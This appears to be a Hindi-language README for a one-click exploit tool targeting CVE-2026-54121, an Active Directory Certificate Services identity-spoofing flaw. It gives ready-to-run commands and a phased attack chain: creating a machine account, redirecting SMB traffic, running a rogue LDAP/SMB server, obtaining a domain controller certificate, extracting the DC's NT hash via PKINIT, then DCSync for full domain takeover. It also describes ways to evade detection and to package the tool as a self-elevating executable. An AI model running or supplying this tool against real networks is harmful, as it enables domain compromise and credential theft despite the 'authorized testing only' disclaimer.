
# CVE-2026-54121 (Certighost) के लिए वन-क्लिक एक्सप्लॉइट, जो AD CS प्रमाणपत्र पहचान स्पूफिंग को लक्षित करता है। डोमेन समझौते के लिए मशीन खाता निर्माण, ट्रैफ़िक रीडायरेक्ट, रोग CA, PKINIT, और NT हैश निष्कर्षण को स्वचालित करता है।
CVE-2026-54121 (Certighost) वन-क्लिक शोषण उपकरण — केवल स्थानीय लैब/अधिकृत परीक्षण के लिए।
अपस्ट्रीम PoC (@h0j3n विश्लेषण / @aniqfakhrul कार्यान्वयन) पर आधारित Windows मूल संस्करण: इसमें स्व-विकसित WinDivert रीडायरेक्टर (pydivert) शामिल है, एक ही कमांड में "खाता निर्माण → रीडायरेक्शन → rogue लिसनिंग → CA chase → डोमेन कंट्रोलर पहचान प्रमाणपत्र → PKINIT → डोमेन कंट्रोलर मशीन खाता NT हैश" पूरा होता है, Server सेवा को रोके बिना, होस्ट की कोई भी कॉन्फ़िगरेशन नहीं बदलता, बाहर निकलते ही पुनर्स्थापित हो जाता है।
| पैच | विवरण |
|---|
--redirect | अंतर्निहित WinDivert रीडायरेक्टर (445 → --lsa-port, संकीर्ण-डोमेन फ़िल्टर: केवल listener IP का ट्रैफ़िक हाईजैक करता है), प्रोसेस के साथ शुरू/बंद होता है, बाहर निकलने पर 445 स्वतः पुनर्स्थापित होता है। आधिकारिक PortBender का विकल्प (इसका आधिकारिक उत्पाद CS-विशिष्ट 32-बिट रिफ्लेक्टिव DLL है, स्वतंत्र रूप से नहीं चल सकता) |
--lsa-port | rogue LSA/SMB लिसनिंग पोर्ट पैरामीटराइज़्ड (डिफ़ॉल्ट 445; --redirect के साथ डिफ़ॉल्ट 8445) |
os.geteuid गार्ड | अपस्ट्रीम root जाँच Windows पर क्रैश होती है → hasattr गार्ड + Windows पोर्ट संकेत |
| तैयारी जाँच पैरामीटराइज़ेशन | अपस्ट्रीम हार्डकोडेड port_ok(127.0.0.1, 445) → args.lsa_port |
| PEP 723 हेडर | uv run certighost.py ... सीधे चलता है, निर्भरताएँ स्वतः हल होती हैं (git-master impacket सहित), शून्य पर्यावरण प्रदूषण |
--new-computer-name | खाता निर्माण के लिए कस्टम नाम (GHOST* डिटेक्शन फ़ीचर से बचने के लिए) |
--new-computer-pass | खाता निर्माण के लिए कस्टम पासवर्ड (डोमेन पासवर्ड नीति पार करना आवश्यक) |
random.randbytes polyfill | impacket git-master smbserver आयात चरण में 3.9+ API उपयोग करता है; 3.8 स्तर के लिए आवश्यक, os.urandom कार्यान्वयन |
| समापन पर तुरंत बाहर | GGWP के बाद flush + os._exit() (impacket के गैर-daemon थ्रेड्स के कारण मिनटों की हैंगिंग का मूल समाधान) |
| एग्ज़िट कोड अर्थपूर्णता | 0 सफल / 1 विफल |
<dc>.hash.txt डिस्क पर | डोमेन कंट्रोलर मशीन खाता NT हैश फ़ाइल में लिखा जाता है (केवल एक पंक्ति name:lm:nt) |
① पूर्व-जाँच (केवल-पठन, CA और शोषण पूर्वापेक्षाओं की पुष्टि):
uv run check_ca.py -d bingo.com -dc-ip 192.168.16.144 -u zhaolei -p 'pass'
आउटपुट Enterprise CA सूची, Machine टेम्पलेट जारी करने और पंजीकरण अनुमतियाँ (Domain Computers के पास Enroll होना आवश्यक)।
CA मशीन पर chase फ़्लैग अलग से जाँचें: certutil -getreg policy\EditFlags (इसमें
EDITF_ENABLECHASECLIENTDC होना चाहिए; Server 2016 डिफ़ॉल्ट इंस्टॉलेशन पर चालू पाया गया)।
② वन-क्लिक शोषण (Windows, व्यवस्थापक):
uv run certighost.py -d bingo.com -u zhaolei -p '[email protected]' \
--dc-ip 192.168.16.144 --listener <स्थानीय रूप से पहुंच योग्य IP> --redirect \
--new-computer-name MACH$ --new-computer-pass 'Your@Pw123!'
आउटपुट त्रयी (रनिंग डायरेक्टरी में स्वतः सहेजा जाता है):
| फ़ाइल | सामग्री |
|---|---|
<dc>.pfx | डोमेन कंट्रोलर पहचान प्रमाणपत्र (PKINIT सामग्री) |
<dc>.ccache | Kerberos टिकट कैश |
<dc>.hash.txt | डोमेन कंट्रोलर मशीन खाता NT हैश (केवल name:lm:nt एक पंक्ति) |
③ सफाई (खाता निर्माण हटाना):
uv run cleanup_ghost.py -d bingo.com -dc-ip 192.168.16.144 -u administrator -p 'pass' --prefix MACH
| पैरामीटर | विवरण |
|---|---|
-d / -u / -p / -H | डोमेन / निम्न-विशेषाधिकार उपयोगकर्ता / पासवर्ड / NTLM हैश |
--dc-ip | DC पता (आवश्यक) |
--listener IP | rogue लिसनर IP (मल्टी-नेटवर्क कार्ड पर स्पष्ट रूप से निर्दिष्ट करें) |
--redirect | Windows कोर: अंतर्निहित WinDivert 445 रीडायरेक्शन (व्यवस्थापक + pydivert आवश्यक) |
--lsa-port N | rogue LSA पोर्ट (--redirect के साथ डिफ़ॉल्ट 8445) |
--new-computer-name | खाता निर्माण के लिए कस्टम नाम (स्वतः $ जोड़ता है) |
--new-computer-pass | खाता निर्माण के लिए कस्टम पासवर्ड (existing पथ के साथ परस्पर अनन्य) |
--computer-name/--computer-pass/--computer-hash | MAQ के बिना: पहले से नियंत्रित मशीन खाते का पुनः उपयोग |
--target-san DC01$ | नकली लक्ष्य निर्दिष्ट करें (डिफ़ॉल्ट स्वतः DC खोजता है) |
--template | प्रमाणपत्र टेम्पलेट (डिफ़ॉल्ट Machine) |
--ca / --ca-ip | मैन्युअल रूप से CA निर्दिष्ट करें |
--debug | प्रोटोकॉल चरणों का पूर्ण ट्रेस |
Phase1 निम्न-विशेषाधिकार उपयोगकर्ता मशीन खाता बनाता है (MAQ पथ स्वतः / --new-computer-* कस्टम / --computer-* मौजूदा का पुनः उपयोग)
Phase2 [Windows] अंतर्निहित WinDivert रीडायरेक्टर: listener_ip:445 -> :lsa_port
संकीर्ण-डोमेन फ़िल्टर (केवल उस IP), पुनर्लेखित पैकेट फ़िल्टर से बाहर = कोई पुनः-इंजेक्शन लूप नहीं; हैंडल प्रोसेस के साथ बंद
Phase3 rogue सर्वर: LDAP:389 + LSA/SMB:lsa_port (cdc/rmd chase का उत्तर देता है, DC पहचान डेटा फीड करता है)
Phase4 मशीन पहचान के साथ प्रमाणपत्र अनुरोध सबमिट करें (Machine टेम्पलेट), CA rogue से वापस जुड़ता है → DC पहचान प्रमाणपत्र जारी करता है
Phase5 PKINIT → KDC PAC में DC मशीन खाता NT हैश लौटाता है → निकालकर .hash.txt में लिखता है
Phase6 (बाद में) secretsdump DCSync → krbtgt → पूर्ण डोमेन अधिग्रहण; cleanup_ghost खाता निर्माण साफ़ करता है
Linux उपयोग अपरिवर्तित (root सीधे 445/389 बाइंड करता है, --redirect के बिना)।
हमले की श्रृंखला में हैश निष्कर्षण PKINIT → PAC → NT हैश के माध्यम से होता है, DCSync नहीं:
हैश मिलने के बाद secretsdump से DCSync करना दूसरा चरण है, हैश का स्रोत नहीं।
# PowerShell 7
./build_exe.ps1 # डिफ़ॉल्ट स्तर (Win10 / Server 2016+)
./build_exe.ps1 3.10 # संगत स्तर (Win8.1 / Server 2012 R2+)
./build_exe.ps1 legacy # विरासत स्तर (Win7 SP1 / Server 2008 R2 x64)
आउटपुट dist\certighost_x64.exe: 19-27MB (स्तर के अनुसार), --uac-admin स्व-विशेषाधिकार वृद्धि, शून्य निर्भरता,
स्क्रिप्ट स्वतः SHA256 चेकसम आउटपुट करती है।
python.org आधिकारिक CPython 3.8.10 निम्न पथ पर स्थापित होना चाहिए (Win7 कर्नेल का समर्थन करने वाला अंतिम आधिकारिक बाइनरी बिल्ड, नए UCRT API पर निर्भर नहीं):
D:\网安相关\Tools\Python\cpython-3.8.10-x64\
स्थापना कमांड (साइलेंट, PATH नहीं लिखता, लॉन्चर स्थापित नहीं करता):
python-3.8.10-amd64.exe /quiet InstallAllUsers=0 TargetDir=D:\网安相关\Tools\Python\cpython-3.8.10-x64 PrependPath=0 Include_launcher=0
साथ ही PyInstaller==5.13.2 (6.x bootloader Win7 कर्नेल का समर्थन नहीं करता) और cryptography==38.0.4 (Rust व्हील 38.x के बाद Win10+ की आवश्यकता होती है) पिन करें, दोनों स्क्रिप्ट में पहले से निर्धारित हैं।
| स्तर | सिस्टम वास्तविक मशीन | पूर्ण श्रृंखला | टिप्पणी |
|---|---|---|---|
| डिफ़ॉल्ट | Win11 | ✅ | |
| संगत 3.10 | Win11 / Win10 / Server 2012 R2 | ✅ ×3 | WinDivert वास्तविक मशीन सहित |
| विरासत legacy | Win11 / Server 2008 R2 x64 | ✅ ×2 | आधिकारिक 3.8.10 + PyInstaller 5.13.2 |
ध्यान दें: PyInstaller+impacket एंटीवायरस फ़ीचर डिटेक्शन का प्रमुख लक्ष्य है, तैनाती से पहले स्वयं मूल्यांकन करें।
ciphertext integrity failure: एक बार देखा गया, पुनः प्रयास से ठीक हो जाता हैcertighost.py मुख्य exploit (अपस्ट्रीम + Windows मूल पैच + PEP 723)
certighost_redirect.py स्व-विकसित WinDivert 445 रीडायरेक्टर (pydivert; --selftest/--e2e स्व-परीक्षण)
check_ca.py पूर्व-जाँच: CA/टेम्पलेट/पंजीकरण अनुमतियाँ/chase फ़्लैग (केवल-पठन)
cleanup_ghost.py समापन: खाता निर्माण हटाना
build_exe.ps1 PyInstaller एकल-फ़ाइल पैकेजिंग (pwsh7, तीन-स्तर मैट्रिक्स, स्वचालित SHA256)